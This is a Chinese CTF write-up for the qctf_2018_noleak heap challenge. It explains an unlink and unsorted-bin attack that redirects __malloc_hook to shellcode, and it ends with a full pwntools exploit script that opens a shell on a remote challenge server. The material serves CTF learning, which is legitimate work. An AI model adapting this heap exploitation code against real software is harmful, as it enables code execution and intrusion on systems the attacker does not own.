qctf_2018_noleak(unsorted bin attack)

检查防护

1

got表不可写,但是可以写shellcode且可以执行

IDA静态分析

2

edit里存在堆溢出

3

free里存在UAF

大致思路

首先我们知道got表是不可写的,那我们可以去打malloc_hook,没有show,无法泄露libc,写不了one_gadget但是我们可以写shellcode我们如何把shellcode写进malloc_hook呢,我们知道malloc_hook是在&main_area-0x10的位置,我们知道unsortedbin attack可以让任意地址返回一个比较大的数这个数在libc2.27下是main_arena+96,那么离malloc_hook就不远了。

首先unlink把bss和buf写进指针数组,这样我们就可以劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bss = 0x601020
buf = 0x601040
add(0x30, b'a') #0
add(0x420, b'a') #1
add(0x60, b'a') #2

fd = buf - 0x18
bk = buf - 0x10


payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)*2+p64(0x30)+p64(0x430)
edit(0,len(payload),payload)
free(1)

payload_2 =p64(0)*3 + p64(bss)+p64(buf)
edit(0,len(payload_2),payload_2)

接下来add两个0x450的chunk,free掉第一个进unsortedbin中,再去利用UAF劫持bk指针,指向buf+0x10的位置

那么再申请回来,buf+0x20的位置就写入了main_arena+96的地址

1
2
3
4
5
6
7
add(0x450,'c')#3
add(0x450,'d')#4
free(3)

payload_3 = p64(0) + p64(buf + 0x8 * 2)
edit(3, len(payload_3), payload_3)
add(0x450,'e')#5

4

我们把\xa0改为\x30就可以,最低一字节是不变的,再把shellcode写进bss,再把bss写进malloc

1
2
3
4
5
6
7
8
9
10
11
12
payload = p64(bss) + p64(buf) + p64(0) * 2 + '\x30'

edit(1,len(payload),payload)


edit(0,len(shellcode),shellcode)


edit(4,len(p64(bss)),p64(bss))

io.sendlineafter('Your choice :','1')
io.sendlineafter('Size: ','10')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

context.log_level = "debug"
context.arch="amd64"
io = remote("node4.buuoj.cn",27977)

#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './QCTF_2018_NoLeak'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
elf = ELF('./QCTF_2018_NoLeak')
libc = ELF('./libc-2.27.so')


def add(size,content):
io.recvuntil('Your choice :')
io.sendline(str(1))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.sendline(content)

def free(index):
io.recvuntil('Your choice :')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))

def edit(index,size,data):
io.recvuntil('Your choice :')
io.sendline(str(3))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.sendline(data)

shellcode = asm(shellcraft.sh())

bss = 0x601020
buf = 0x601040
add(0x30, b'a') #0
add(0x420, b'a') #1
add(0x60, b'a') #2

fd = buf - 0x18
bk = buf - 0x10


payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)*2+p64(0x30)+p64(0x430)
edit(0,len(payload),payload)
free(1)

payload_2 =p64(0)*3 + p64(bss)+p64(buf)
edit(0,len(payload_2),payload_2)

add(0x450,'c')#3
add(0x450,'d')#4
free(3)

payload_3 = p64(0) + p64(buf + 0x10)
edit(3, len(payload_3), payload_3)
add(0x450,'e')#5

payload = p64(bss) + p64(buf) + p64(0) * 2 + '\x30'

edit(1,len(payload),payload)


edit(0,len(shellcode),shellcode)


edit(4,len(p64(bss)),p64(bss))


io.sendlineafter('Your choice :','1')
io.sendlineafter('Size: ','10')



io.interactive()

5